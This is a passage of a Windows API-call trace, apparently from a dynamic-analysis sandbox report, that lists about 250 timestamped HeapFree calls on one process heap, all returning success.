	[0077.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0077.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0077.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0077.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0077.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0077.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0077.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0077.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0077.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0077.637] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0077.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0077.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0077.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0077.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0077.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0077.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0077.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0077.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0077.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0077.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0077.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0077.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0077.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0077.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0077.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0077.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0077.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0077.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0077.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0077.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0078.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0078.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0078.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0078.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0078.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0078.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.277] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.277] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0078.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0078.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0078.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0078.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0078.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0078.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0078.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0078.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0078.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0078.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0078.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0078.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0078.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0078.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0078.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0078.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0078.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0078.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0078.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0078.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0078.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0078.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0078.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0078.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0078.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0079.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0079.075] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0079.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0079.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0079.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0079.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0079.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0079.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0079.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0079.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0079.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
